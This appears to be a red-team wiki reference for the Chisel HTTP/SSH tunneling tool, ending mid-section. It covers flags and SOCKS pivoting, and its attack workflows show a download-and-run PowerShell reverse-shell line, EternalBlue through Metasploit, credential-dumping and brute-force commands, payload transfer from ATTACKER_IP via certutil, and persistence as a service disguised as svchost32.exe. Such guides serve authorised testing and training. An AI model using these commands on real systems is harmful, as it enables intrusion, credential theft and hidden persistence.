ᛉ Yggdrasil

Tool references

Chisel Wiki

17 Sep 2026 · 6,081 words · 28 min

Contents

Author: Jaime Pillora (@jpillora) Repo: https://github.com/jpillora/chisel License: MIT Description: Fast TCP/UDP tunnel over HTTP, secured via SSH. Single binary, client + server. Written in Go. Current Version: v1.11.7 (Jun 2026) — v1.12.0-rc2 in testing Target Platform: Cross-platform (Go) — Linux, Windows, macOS, Docker


Overview

Chisel is a fast TCP/UDP tunnel transported over HTTP and secured via SSH. It packages both client and server into a single static Go binary, making it extremely easy to deploy on a compromised host — you just drop the binary and run it.

Key use cases in red teaming:

  • Bypassing firewalls that only allow HTTP/HTTPS egress
  • Creating SOCKS5 proxies through a pivot host for full network access
  • Reverse port forwarding (exposing internal services to your attacker box)
  • Tunneling when SSH isn't available or you don't want SSH fingerprints
  • Quick single-port forwarding to reach specific internal services

How it works at a high level:

  1. You run chisel server on your attacker machine (or C2).
  2. You run chisel client on the compromised pivot host — it connects outbound to your server over HTTP/HTTPS (firewall-friendly).
  3. The client specifies remotes — port forwarding rules — in its command line.
  4. Traffic is multiplexed over a single WebSocket connection, encrypted with SSH (crypto/ssh under the hood).

Key capabilities:

  • Encrypted always (ECDSA SSH key pair generated on startup)
  • Authenticated connections — optional user/pass via --authfile or --auth
  • Client auto-reconnects with exponential backoff
  • Multiple tunnel endpoints over one TCP connection
  • Reverse port forwarding (client punches holes through NAT/firewall)
  • Built-in SOCKS5 proxy (server or client side)
  • Clients can pass through an existing HTTP/SOCKS proxy to reach the server
  • Server can act as a reverse HTTP proxy (--backend)
  • stdio transport for SSH ProxyCommand usage
  • UDP forwarding support
  • Custom HTTP headers (for WAF/proxy bypass)

How it's different from Ligolo-ng: Chisel works through proxychains — every tool you want to use through the tunnel needs to be prefixed with proxychains (or configured to use a SOCKS proxy). Ligolo-ng creates a real TUN interface so routing happens at the OS level and any tool just works natively. Chisel trades that native feel for zero privilege requirements on both sides and dead-simple deployment — no kernel modules, no TUN devices, no admin rights needed on either end.


Architecture: Server vs Client

Component Runs on Privileges Role
chisel server Attacker / C2 box None required Listens for client connections, manages tunnels
chisel client Compromised / pivot host None required Connects outbound to server, sets up tunnel remotes

Both sides need no special privileges. This makes Chisel extremely versatile — you can run it as a low-privilege user everywhere.

Connection flow:

[Attacker Box]                          [Pivot / Compromised Host]
chisel server -p 8080 --reverse  <───  chisel client ATTACKER:8080 R:socks
        │                                        │
    SOCKS5 proxy                          Outbound HTTP
  127.0.0.1:1080                         (firewall-friendly)
        │
[Your tools: nmap, impacket, evil-winrm...]
   (via proxychains)
        │
   [Internal Network accessed via Pivot]

Installation & Building

# Kali Linux (included by default)
sudo apt install chisel

# Or via the official install script (always grabs latest)
curl https://i.jpillora.com/chisel! | bash

# Precompiled binaries (recommended for target deployment)
# https://github.com/jpillora/chisel/releases
# Grab chisel_<version>_linux_amd64.gz or chisel_<version>_windows_amd64.gz

# Decompress Linux binary
gunzip chisel_1.11.7_linux_amd64.gz
chmod +x chisel_1.11.7_linux_amd64
mv chisel_1.11.7_linux_amd64 chisel

# Decompress Windows binary (Linux side)
gunzip chisel_1.11.7_windows_amd64.gz
mv chisel_1.11.7_windows_amd64 chisel.exe

# Build from source (requires Go >= 1.22)
git clone https://github.com/jpillora/chisel
cd chisel
go build -o chisel .

# Cross-compile for Windows (from Linux build machine)
GOOS=windows GOARCH=amd64 go build -o chisel.exe .

# Cross-compile for common pivot targets
GOOS=linux   GOARCH=amd64 go build -o chisel_linux_amd64   .
GOOS=linux   GOARCH=arm64 go build -o chisel_linux_arm64   .
GOOS=linux   GOARCH=386   go build -o chisel_linux_x86     .
GOOS=windows GOARCH=386   go build -o chisel_win_x86.exe   .
GOOS=darwin  GOARCH=amd64 go build -o chisel_darwin_amd64  .

# Docker
docker run --rm -it jpillora/chisel --help
docker run --rm -it jpillora/chisel server --socks5 --reverse -p 8080

# Fedora / RHEL
sudo dnf -y install chisel

# go install (always latest)
go install github.com/jpillora/chisel@latest

OS Minimums (v1.11+, Go 1.22+ build): Windows 10 / Server 2016, macOS 12, Linux (any modern kernel).


Remote Syntax (The Core Concept)

The <remote> argument passed to chisel client is the core of how tunneling works. Every remote defines what gets exposed where.

Forward Remote (normal tunnel)

<local-host>:<local-port>:<remote-host>:<remote-port>/<protocol>

Shares <remote-host>:<remote-port> (as seen from the server) with the client at <local-host>:<local-port>.

Reverse Remote (R: prefix)

R:<local-interface>:<local-port>:<remote-host>:<remote-port>/<protocol>

The server listens on <local-interface>:<local-port> and traffic goes through the client out to <remote-host>:<remote-port>.

Defaults

Field Default
local-host 0.0.0.0 (all interfaces)
local-port same as remote-port
remote-host 0.0.0.0 (server's localhost)
protocol tcp

All Remote Examples

# Forward Remotes (traffic flows: local → server → remote)
3000                          # 0.0.0.0:3000 → server's 0.0.0.0:3000 (tcp)
example.com:3000              # 0.0.0.0:3000 → example.com:3000
3000:google.com:80            # local:3000 → google.com:80
192.168.0.5:3000:google.com:80  # 192.168.0.5:3000 → google.com:80
1.1.1.1:53/udp               # UDP — local:53 → 1.1.1.1:53 via UDP
socks                         # SOCKS5 proxy on 127.0.0.1:1080 through server
5000:socks                   # SOCKS5 proxy on local:5000

# Reverse Remotes (R: prefix — server side listens, traffic flows back through client)
R:2222:localhost:22           # server:2222 → client's localhost:22 (SSH pivot)
R:3389:10.10.10.5:3389       # server:3389 → internal RDP host
R:socks                      # SOCKS5 on server's 127.0.0.1:1080, routed through client
R:5000:socks                 # SOCKS5 on server's :5000
R:1080:socks                 # explicit port for SOCKS5 reverse proxy

# stdio (for SSH ProxyCommand)
stdio:example.com:22         # connect stdin/stdout to example.com:22 via server

Server Flags

$ chisel server --help

Usage: chisel server [options]

Options:
  --host          HTTP listening host interface
                  (env: HOST, default: 0.0.0.0)

  --port, -p      HTTP listening port
                  (env: PORT, default: 8080)

  --key           DEPRECATED — use --keygen/--keyfile instead.
                  Seed string for ECDSA key generation.
                  (env: CHISEL_KEY)

  --keygen        Path to write a newly generated PEM-encoded SSH private key.
                  Use "-" to print to stdout.

  --keyfile       Path to PEM-encoded SSH private key (or inline base64 "ck-..." string).
                  Overrides --key. (env: CHISEL_KEY_FILE)

  --authfile      Path to users.json for client authentication.
                  File is hot-reloaded on change.

  --auth          Single user in the form "user:pass" (equivalent to authfile
                  with {"user:pass": [""]}). (env: AUTH)

  --keepalive     Keepalive interval (e.g. "25s", "2m"). Default: 25s.
                  Set to "0s" to disable.

  --backend       Proxy normal HTTP requests to this URL.
                  Hides chisel in plain sight on an existing web server.

  --socks5        Enable internal SOCKS5 proxy — clients can forward
                  "socks" remotes to it.

  --reverse       Allow clients to specify reverse port forwarding remotes (R:).
                  MUST be set for R:socks to work.

  --tls-key       Path to PEM TLS private key (enables TLS, requires --tls-cert).

  --tls-cert      Path to PEM TLS certificate (enables TLS, requires --tls-key).

  --tls-domain    Domain(s) for Let's Encrypt auto-cert (requires port 443).
                  Can be specified multiple times for multi-domain.

  --tls-ca        Path to PEM CA bundle for mutual-TLS client validation.

  --pid           Write PID file to current working directory.

  -v              Verbose logging.

  --help          Help text.

Signals:

  • SIGUSR2 → print process stats
  • SIGHUP → short-circuit client reconnect timer
  • SIGINT / SIGTERM → graceful shutdown (second signal = immediate exit)

Client Flags

$ chisel client --help

Usage: chisel client [options] <server> <remote> [remote] [remote] ...

<server>  URL to the chisel server (http://IP:PORT or https://IP:PORT)

<remote>  One or more tunnel rules (see Remote Syntax section above)

Options:
  --fingerprint   SHA256 fingerprint of the server's public key for MITM protection.
                  Strongly recommended. Must be 44 chars ending in "=".
                  Mismatches close the connection immediately.

  --auth          Client credentials in the form "user:pass".
                  Compared against server's --authfile. (env: AUTH)

  --keepalive     Keepalive interval. Default: 25s. Set "0s" to disable.

  --max-retry-count     Max reconnect attempts before exiting. Default: unlimited.

  --max-retry-interval  Max wait between reconnect attempts. Default: 5 minutes.

  --min-retry-interval  Min wait between reconnect attempts (v1.12+). Default: 1s.

  --proxy         Upstream HTTP CONNECT or SOCKS5 proxy to reach the chisel server.
                  Format: http://user:pass@host:port
                          socks://user:pass@host:port
                          socks5://user:pass@host:port   (v1.12+)

  --header        Set a custom HTTP header. Can be repeated.
                  Example: --header "X-Forwarded-For: 1.2.3.4"
                           --header "Authorization: Bearer token123"

  --hostname      Override the HTTP Host header.

  --sni           Override TLS SNI hostname.

  --tls-ca        Path to PEM CA bundle for verifying the server's TLS cert.
                  Only applies to https:// connections.

  --tls-skip-verify   Skip server TLS certificate verification.
                      Only affects transport (wss) — server public key (SSH layer)
                      may still be verified via --fingerprint.

  --tls-key       PEM private key for mutual-TLS client authentication.

  --tls-cert      PEM certificate for mutual-TLS client authentication.

  --pid           Write PID file to current working directory.

  -v              Verbose logging.

  --help          Help text.

Security & Key Management

Encryption is always on — there is no plaintext mode. The SSH layer handles encryption even when the transport is plain http://.

How keys work

  1. By default, server generates a fresh in-memory ECDSA P256 key pair on every run.
  2. The public key fingerprint (base64 SHA256) is printed to stdout on startup.
  3. Clients should verify this fingerprint using --fingerprint to prevent MITM attacks.

Generating and persisting a key

# Generate a new key and print to stdout (base64 "ck-..." format)
chisel server --keygen -

# Generate and save to file
chisel server --keygen /path/to/chisel.key

# Use a persistent key (same fingerprint across restarts)
chisel server --keyfile /path/to/chisel.key --port 8080 --reverse

# Inline base64 key (useful for single-command one-liners)
# The "ck-..." output of --keygen can be passed directly as --keyfile value
KEY=$(chisel server --keygen -)
chisel server --keyfile "$KEY" --port 8080 --reverse

Fingerprint pinning (client side)

# Server outputs on startup:
# 2024/10/01 10:00:00 server: Fingerprint abc123XYZ...=

# Pin fingerprint on client — strongly recommended
./chisel client --fingerprint 'abc123XYZ...=' http://10.10.14.5:8080 R:socks

# For labs/CTFs only — skip fingerprint verification (MITM risk!)
./chisel client http://10.10.14.5:8080 R:socks
# (no --fingerprint = accepts any key)

# Skip TLS cert AND fingerprint for quick lab work
./chisel client --tls-skip-verify https://10.10.14.5:8443 R:socks

Authentication (authfile)

Without auth, any client that can reach the server can connect. For real engagements or team use, lock it down.

Single user (simple)

# Server — single user with full access
chisel server --auth "operator:S3cretP@ss!" --reverse --socks5 -p 8080

# Client — authenticate
chisel client --auth "operator:S3cretP@ss!" http://10.10.14.5:8080 R:socks

Multi-user authfile

Create users.json:

{
  "operator:S3cretP@ss!": [""],
  "agent1:AgentPass123": ["^R:socks$", "^R:.*:.*:.*$"],
  "agent2:AgentPass456": ["^3000$"]
}

The value array is a list of regex patterns that the remote addresses must match. An empty string "" allows all remotes. Addresses come in the form:

  • <remote-host>:<remote-port> for normal remotes
  • R:<local-interface>:<local-port> for reverse remotes
  • socks token for SOCKS5 remotes (enforced since v1.11.7)
# Server loads authfile (hot-reloaded on file change — no restart needed)
chisel server --authfile /etc/chisel/users.json --reverse --socks5 -p 8080

# Client authenticates
chisel client --auth "agent1:AgentPass123" http://10.10.14.5:8080 R:socks

v1.11.7+ note: If you use --authfile, users who need SOCKS5 access must have a socks token in their allowed remotes list, OR use the wildcard "". This was enforced as a security fix.


TLS Options

Three ways to get TLS on the server:

# 1) Let's Encrypt — automatic (needs port 443 and a real domain)
chisel server --tls-domain c2.example.com --port 443 --reverse

# Multiple domains
chisel server --tls-domain c2.example.com --tls-domain alt.example.com --port 443 --reverse

# Customize Let's Encrypt cache dir
CHISEL_LE_CACHE=/opt/chisel_le chisel server --tls-domain c2.example.com --port 443 --reverse

# 2) Your own cert/key pair (e.g. from Let's Encrypt certbot, or self-signed)
chisel server --tls-key /etc/letsencrypt/live/c2.example.com/privkey.pem \
              --tls-cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
              --port 443 --reverse

# 3) Mutual TLS (mTLS) — server validates client certs too
chisel server --tls-key server.key --tls-cert server.crt \
              --tls-ca client-ca.crt --reverse --port 8443

# Client connecting to TLS server
chisel client https://c2.example.com:443 R:socks
chisel client --fingerprint 'abc123...=' https://c2.example.com:443 R:socks

# Client with custom CA (for self-signed server cert)
chisel client --tls-ca /path/to/ca.crt https://c2.example.com:8443 R:socks

# Client with mTLS certificates
chisel client --tls-key client.key --tls-cert client.crt https://c2.example.com:8443 R:socks

# Labs only — skip TLS verification (MITM risk!)
chisel client --tls-skip-verify https://10.10.14.5:8443 R:socks

Forward Port Tunneling

Forward tunneling: client opens a local port → server forwards to a remote destination.

Think of it as: "I want to access [remote thing] from my local machine through the server."

# --- SETUP ---
# Server (attacker box, no special flags needed for forward tunneling)
chisel server --port 8080

# --- FORWARD EXAMPLES ---

# Access port 80 on the server's localhost (e.g., internal web app)
chisel client http://10.10.14.5:8080 3000:localhost:80
# → browse http://localhost:3000 on your machine to hit the server's port 80

# Access a specific internal host:port via the server
chisel client http://10.10.14.5:8080 3389:10.10.10.50:3389
# → RDP to 127.0.0.1:3389 locally → hits 10.10.10.50:3389 through the server

# Bind on a specific local interface only
chisel client http://10.10.14.5:8080 127.0.0.1:8888:10.10.10.5:80

# Forward to an external host through the server
chisel client http://10.10.14.5:8080 3000:google.com:80

# Multiple forwards in one command
chisel client http://10.10.14.5:8080 \
  8080:10.10.10.50:80 \
  3389:10.10.10.50:3389 \
  5432:10.10.10.51:5432

Reverse Port Tunneling

Reverse tunneling: server opens a port → traffic flows through client → out to the destination.

Think of it as: "I want to expose [something on or reachable from the pivot host] on my attacker box."

Server must have --reverse flag enabled.

# Server — enable reverse tunneling
chisel server --port 8080 --reverse

# --- REVERSE EXAMPLES ---

# Expose SSH on the pivot host to your attacker box (port 2222)
chisel client http://10.10.14.5:8080 R:2222:localhost:22
# → ssh -p 2222 user@127.0.0.1 on attacker → pivot host's SSH

# Expose RDP on an internal host to attacker box
chisel client http://10.10.14.5:8080 R:13389:10.10.10.50:3389
# → xfreerdp /v:127.0.0.1:13389 on attacker → hits internal RDP

# Expose multiple services at once
chisel client http://10.10.14.5:8080 \
  R:2222:localhost:22 \
  R:8080:10.10.10.50:80 \
  R:13389:10.10.10.51:3389

# Bind reverse on specific interface only (attacker side)
chisel client http://10.10.14.5:8080 R:127.0.0.1:2222:localhost:22

SOCKS5 Proxy Mode

Forward SOCKS5 (client opens local SOCKS proxy → routed through server)

Use when inbound connections to the pivot are allowed (the pivot can talk to the server, and the server has direct network access you want to route through).

# Server (no special flag needed for forward SOCKS)
chisel server --socks5 --port 8080

# Client — creates SOCKS5 proxy on 127.0.0.1:1080 (default)
chisel client http://PIVOT_HOST:8080 socks

# Client — custom local port for SOCKS5
chisel client http://PIVOT_HOST:8080 5000:socks

# Test
curl --socks5 127.0.0.1:1080 http://internal.example.com

Wait — this is backwards for most red team scenarios. In this mode, YOU run the server on the pivot host, and your attacker machine is the client. The SOCKS proxy is on your attacker machine, routing through the pivot. This is the rare case where you have inbound access to the pivot.


Reverse SOCKS5 Proxy (Main Red Team Use Case)

This is the bread-and-butter for red teaming. The pivot host can only reach outbound (e.g., to your attacker box on port 8080). You want to reach the internal network from your attacker box.

[Attacker Box]                      [Pivot Host]             [Internal Network]
chisel server                  chisel client                    192.168.1.0/24
  --reverse                    ATTACKER:8080                    (only reachable
  --port 8080  <── outbound ──  R:socks                          from pivot)
  SOCKS5 on
  127.0.0.1:1080
       │
  proxychains
       │
  [nmap, impacket, evil-winrm, etc.]
# 1. Attacker box — start server with reverse and socks5
chisel server --port 8080 --reverse --socks5

# 2. Pivot host — client connects back, creates reverse SOCKS
./chisel client http://ATTACKER_IP:8080 R:socks

# Result: 127.0.0.1:1080 on attacker is now a SOCKS5 proxy
#         routed through the pivot into the internal network

# Custom SOCKS port (if 1080 is in use)
./chisel client http://ATTACKER_IP:8080 R:1234:socks
# → SOCKS5 on attacker:1234

# Bind SOCKS on a specific interface only
./chisel client http://ATTACKER_IP:8080 R:127.0.0.1:1080:socks

Verbose output on connection

# Server output (attacker box)
2024/10/01 10:00:01 server: Fingerprint abc123XYZ...=
2024/10/01 10:00:01 server: Listening on http://0.0.0.0:8080
2024/10/01 10:00:15 server: session#1: tun: SSH connected

# Client output (pivot host)
2024/10/01 10:00:15 client: Connecting to ws://ATTACKER_IP:8080
2024/10/01 10:00:15 client: tun: SSH connected
2024/10/01 10:00:15 client: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Proxychains Integration

Once you have a SOCKS5 proxy (usually on 127.0.0.1:1080), configure proxychains to use it.

/etc/proxychains.conf (or /etc/proxychains4.conf)

# At the very bottom of the file, replace or add:
[ProxyList]
# Comment out any existing entries first:
#socks4 127.0.0.1 9050

# Add your Chisel SOCKS5 proxy:
socks5 127.0.0.1 1080

# If using a custom port:
# socks5 127.0.0.1 1234

Testing the proxy

# Quick connectivity test
proxychains curl http://192.168.1.1/
proxychains wget -q -O - http://10.10.10.50/

# Don't use ICMP (ping) — SOCKS is TCP only
# Use TCP-based checks instead:
proxychains nc -zv 192.168.1.10 80
proxychains curl -s --max-time 5 http://192.168.1.10/

proxychains options worth knowing

# Quiet mode (less noise)
quiet_mode

# Dynamic chain — skips dead proxies in the chain (useful for chaining)
dynamic_chain

# Strict chain — fails if any proxy in chain fails
strict_chain

# DNS resolution through proxy (avoids DNS leaks)
proxy_dns

UDP Tunneling

Chisel supports UDP forwarding. Useful for DNS, SNMP, etc.

# Server
chisel server --port 8080

# Forward DNS through the server
chisel client http://PIVOT:8080 53:8.8.8.8:53/udp

# Test
dig @127.0.0.1 example.com

# Forward SNMP
chisel client http://PIVOT:8080 1161:10.10.10.1:161/udp

# Reverse UDP (pivot exposes UDP port to attacker)
chisel client http://ATTACKER:8080 R:5353:localhost:5353/udp

Note: UDP over Chisel is supported but may have reliability trade-offs depending on network conditions. Use TCP remotes where possible.


stdio Mode / SSH ProxyCommand

Chisel supports a special stdio remote that connects the tunnel's stdin/stdout to a remote host. This is primarily useful for SSH ProxyCommand.

# Instead of setting up a port forward for SSH, use chisel as a jump proxy:
ssh -o ProxyCommand='chisel client http://CHISEL_SERVER stdio:%h:%p' user@internal.host

# With fingerprint pinning:
ssh -o ProxyCommand='chisel client --fingerprint abc123...= http://CHISEL_SERVER stdio:%h:%p' user@internal.host

# Add to ~/.ssh/config for convenience:
Host internal.host
    ProxyCommand chisel client http://CHISEL_SERVER stdio:%h:%p
    User myuser

Double Pivoting (Multi-Hop)

When you need to reach a network that's only accessible from your first pivot, chain Chisel instances together using proxychains.

[Attacker]         [Pivot 1 / DMZ]         [Pivot 2 / Internal]      [Deep Network]
chisel server  ←── chisel client        ←── chisel client              172.16.0.0/24
:8080 --rev         10.14.5:8080 R:socks   (via proxychains)
SOCKS:1080                                  10.14.5:8081 R:socks
                                           SOCKS:1081 (on attacker)

Step-by-step: Double Pivot

Step 1 — First hop (Attacker ← Pivot 1):

# Attacker box
chisel server --port 8080 --reverse --socks5

# Pivot 1 (compromised DMZ host)
./chisel client http://ATTACKER_IP:8080 R:socks
# → SOCKS5 on attacker 127.0.0.1:1080 → routes through Pivot 1

# Configure proxychains for hop 1
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf

Step 2 — Second hop (Attacker ← Pivot 2, through Pivot 1):

# Attacker box — second server on a different port
chisel server --port 8081 --reverse --socks5

# Pivot 2 (accessible from Pivot 1's network)
# Run Chisel on Pivot 2 to connect back to attacker THROUGH Pivot 1's SOCKS proxy
# Deploy chisel to Pivot 2 first (via Pivot 1's access)

# On Pivot 2 — connect via Pivot 1's SOCKS proxy:
# (Pivot 2 must be configured to use Pivot 1's SOCKS, or use environment variable)
HTTPS_PROXY=socks5://PIVOT1_IP:some_port ./chisel client http://ATTACKER_IP:8081 R:socks
# OR use the built-in --proxy flag:
./chisel client --proxy socks://PIVOT1_IP:some_port http://ATTACKER_IP:8081 R:socks

# OR from attacker box: use proxychains to run a second chisel client (connecting through Pivot 1)
# This requires Pivot 2 to be reachable from Pivot 1
# First, set up a port forward to Pivot 2's management/pivot port
# Then use proxychains chisel from a second chisel instance running on Pivot 2

# Simpler multi-hop method (proxychains chisel on attacker, spawning through Pivot 1):
proxychains chisel client http://ATTACKER_IP:8081 R:1081:socks
# → Second SOCKS5 on attacker 127.0.0.1:1081 → routes through Pivot 2 via Pivot 1

Step 3 — Configure proxychains for the second hop:

# /etc/proxychains.conf or a second config file
[ProxyList]
socks5 127.0.0.1 1080    # Hop 1 — Pivot 1
socks5 127.0.0.1 1081    # Hop 2 — Pivot 2 (added for double pivot)
# Now reach the deep network
proxychains nmap -sT -Pn 172.16.0.0/24

Cleaner double pivot using separate proxychains configs

# proxychains-hop1.conf — only first SOCKS
# proxychains-hop2.conf — both SOCKS entries (chain them)

proxychains4 -f proxychains-hop2.conf nmap -sT -Pn 172.16.0.50

Running Behind a Reverse Proxy / HTTPS Fronting

Front Chisel with Nginx or Caddy to blend traffic with legitimate HTTPS. Since Chisel uses WebSockets, your proxy must support WebSocket upgrades.

Nginx config

server {
    listen 443 ssl;
    server_name c2.example.com;

    ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

    location /tunnel/ {
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_read_timeout 3600s;
        proxy_send_timeout 3600s;
    }

    # Normal web traffic goes to your actual backend
    location / {
        proxy_pass http://127.0.0.1:3000;
    }
}
# Server — bind on localhost only, Nginx fronts it
chisel server --port 8080 --reverse --keyfile /etc/chisel/chisel.key

# Client — connect to the public HTTPS endpoint
chisel client --fingerprint 'abc123...=' https://c2.example.com/tunnel/ R:socks

Caddy config (simpler)

c2.example.com {
    reverse_proxy /tunnel/* localhost:8080 {
        header_up Upgrade {http.upgrade}
        header_up Connection "upgrade"
        transport http {
            versions h1
        }
    }
}

Custom HTTP headers (for WAF bypass or proxy auth)

# Add custom headers to blend in or pass through proxies
chisel client \
  --header "X-Custom-Token: abc123" \
  --header "X-Forwarded-For: 8.8.8.8" \
  --hostname "legitimate.website.com" \
  http://ATTACKER:8080 R:socks

# Override SNI for TLS fronting
chisel client --sni cdn.cloudfront.net https://ATTACKER:443 R:socks

Environment Variables

Chisel respects several environment variables, useful for scripting without exposing credentials in command line args:

Variable Equivalent Flag Description
HOST --host Server bind host
PORT --port / -p Server bind port
CHISEL_KEY --key (deprecated) Key seed string
CHISEL_KEY_FILE --keyfile Path to PEM private key
AUTH --auth Credentials (user:pass)
CHISEL_LE_CACHE — Let's Encrypt cache dir (set to "-" to disable)
CHISEL_LE_EMAIL — Email for Let's Encrypt notifications
CHISEL_WS_READ_LIMIT — Cap on inbound WS message size pre-auth (v1.12+)
# Example — credentials via environment (avoids ps aux exposure)
export AUTH="operator:S3cretP@ss!"
chisel server --port 8080 --reverse --socks5

# On client
export AUTH="operator:S3cretP@ss!"
chisel client http://ATTACKER:8080 R:socks

Common Attack Workflows

Workflow 1: Basic Reverse SOCKS Pivot (HTB/CTF/OSCP style)

Most common use case. You've compromised a host and need to pivot into its internal network.

# --- ATTACKER BOX ---
chisel server --port 8080 --reverse --socks5

# --- PIVOT HOST ---
# Upload chisel binary first (via HTTP server, SCP, SMB, etc.)
# python3 -m http.server 80 on attacker, then wget on pivot

# Linux pivot host
./chisel client http://ATTACKER_IP:8080 R:socks

# --- ATTACKER BOX: configure proxychains ---
sudo sed -i 's/^socks4.*//' /etc/proxychains.conf
echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains.conf

# --- SCAN INTERNAL NETWORK ---
proxychains nmap -sT -Pn -p 22,80,443,445,3389,8080 192.168.1.0/24

# --- CONNECT TO INTERNAL SERVICES ---
proxychains evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!'
proxychains ssh user@192.168.1.20
proxychains xfreerdp /v:192.168.1.30 /u:admin /p:'Password!'

Workflow 2: Single Port Forward to Internal Service

When you only need one specific internal service — cleaner than a full SOCKS setup.

# Attacker box
chisel server --port 8080 --reverse

# Pivot host — expose internal MSSQL to attacker
./chisel client http://ATTACKER_IP:8080 R:1433:10.10.10.50:1433

# Attacker — now connect to internal MSSQL directly
impacket-mssqlclient 'domain/user:pass@127.0.0.1'

# Expose internal web app
./chisel client http://ATTACKER_IP:8080 R:8888:10.10.10.50:8080
# → browse http://127.0.0.1:8888 on attacker to hit internal app

# Expose SMB for share enumeration
./chisel client http://ATTACKER_IP:8080 R:445:10.10.10.50:445
smbclient -L //127.0.0.1/ -U 'domain\user%password'

Workflow 3: Catching a Reverse Shell Through the Pivot

You want to execute a payload on an internal host and catch the shell on your attacker box. The internal host can only reach the pivot, not your attacker box directly.

# Attacker box — listen for shell
nc -lvp 9001

# Attacker box — start chisel server
chisel server --port 8080 --reverse --socks5

# Pivot host — forward attacker's listener port
./chisel client http://ATTACKER_IP:8080 R:9001:127.0.0.1:9001
# Now anything connecting to PIVOT:9001 gets forwarded to attacker's nc on :9001

# Payload on internal host — connect to pivot's IP, not attacker's
# e.g., PowerShell reverse shell pointing to PIVOT_IP:9001
# IEX(New-Object Net.WebClient).DownloadString('http://PIVOT_IP:8000/Invoke-PowerShellTcp.ps1')

Workflow 4: Metasploit Through Chisel SOCKS

# Start Chisel SOCKS proxy first (reverse SOCKS on 127.0.0.1:1080)

# In msfconsole
msf6 > setg Proxies socks5:127.0.0.1:1080
msf6 > setg ReverseAllowProxy true

# Route internal subnet through proxy
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run

# EternalBlue through proxy
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.50
msf6 > set LHOST ATTACKER_IP   # set to your IP, MSF handles routing
msf6 > run

Workflow 5: Authenticated Engagement Setup

For real ops where you want to lock down who can use your tunnel.

# Generate and save a key (persistent fingerprint)
chisel server --keygen /opt/chisel/c2.key
# Output: ck-abc123... (save this fingerprint)

# Start server with auth and persistent key
chisel server \
  --keyfile /opt/chisel/c2.key \
  --authfile /opt/chisel/users.json \
  --reverse --socks5 \
  --port 443 \
  --tls-key /etc/letsencrypt/live/c2.example.com/privkey.pem \
  --tls-cert /etc/letsencrypt/live/c2.example.com/fullchain.pem

# users.json
cat /opt/chisel/users.json
# {
#   "operator:S3cret!": [""],
#   "agent:AgentPass": ["R:socks", "R:.*"]
# }

# Client (pivot)
./chisel client \
  --auth "agent:AgentPass" \
  --fingerprint 'abc123...=' \
  https://c2.example.com:443 R:socks

Tool Pairing (Proxychains + Tools)

Once your reverse SOCKS proxy is live on 127.0.0.1:1080, here's how to use common red team tools through it:

# --- NETWORK SCANNING ---
# nmap — must use TCP connect scan (-sT), no raw packets through SOCKS
# -Pn to skip ICMP ping (ICMP doesn't work through SOCKS)
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains nmap -sT -Pn -sV -p 80,443,22,445,3389 192.168.1.10

# --- AUTHENTICATION ATTACKS ---
proxychains crackmapexec smb 192.168.1.0/24 -u user -p password
proxychains netexec smb 192.168.1.0/24 -u user -H 'NTHASH'
proxychains hydra -L users.txt -P passwords.txt 192.168.1.10 ssh

# --- SMB ---
proxychains smbclient -L //192.168.1.10/ -U 'domain\user%pass'
proxychains smbmap -H 192.168.1.10 -u user -p pass -d domain

# --- WINRM ---
proxychains evil-winrm -i 192.168.1.10 -u administrator -p 'Password123!'
proxychains evil-winrm -i 192.168.1.10 -u administrator -H 'NTHASH'

# --- RDP ---
proxychains xfreerdp /v:192.168.1.10 /u:administrator /p:'Password!'
proxychains rdesktop 192.168.1.10

# --- SSH ---
proxychains ssh user@192.168.1.20

# --- WEB ---
proxychains curl http://192.168.1.10:8080/admin
proxychains wget -O output.html http://192.168.1.50/
proxychains gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt

# --- KERBEROS / ACTIVE DIRECTORY ---
proxychains impacket-GetUserSPNs 'domain.local/user:pass' -dc-ip 192.168.1.1 -request
proxychains impacket-secretsdump 'domain.local/admin:pass@192.168.1.10'
proxychains impacket-psexec 'domain.local/admin:pass@192.168.1.10'
proxychains impacket-wmiexec 'domain.local/admin:pass@192.168.1.10'
proxychains bloodhound-python -u user -p pass -d domain.local -ns 192.168.1.1 -c all

# --- LDAP ---
proxychains ldapsearch -x -H ldap://192.168.1.1 -b "dc=domain,dc=local"

# --- BURP SUITE ---
# Set Burp's upstream proxy to SOCKS5:
# Proxy → Options → SOCKS Proxy → 127.0.0.1:1080

Windows Deployment

Deploying chisel on a Windows target for client-side reverse tunnel:

Transferring the binary

# Attacker: serve binary
python3 -m http.server 80

# Windows target: download
# PowerShell
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP/chisel.exe", "C:\Users\Public\chisel.exe")

# Alternative: curl (Windows 10+)
curl.exe -o C:\Users\Public\chisel.exe http://ATTACKER_IP/chisel.exe

# Alternative: certutil
certutil -urlcache -split -f http://ATTACKER_IP/chisel.exe C:\Users\Public\chisel.exe

Running on Windows

# Basic reverse SOCKS
C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks

# With authentication
C:\Users\Public\chisel.exe client --auth "agent:pass" http://ATTACKER_IP:8080 R:socks

# Background it (cmd.exe)
start /B C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks

# PowerShell background job
Start-Job { C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks }

# As a service (advanced persistence — needs admin)
sc create ChiselSvc binPath= "C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:socks" start= auto
sc start ChiselSvc

# Rename binary to blend in
copy chisel.exe svchost32.exe

Windows-side port forward (no service needed)

# Expose internal SMB to attacker
C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:445:INTERNAL_HOST:445

# Expose WMI
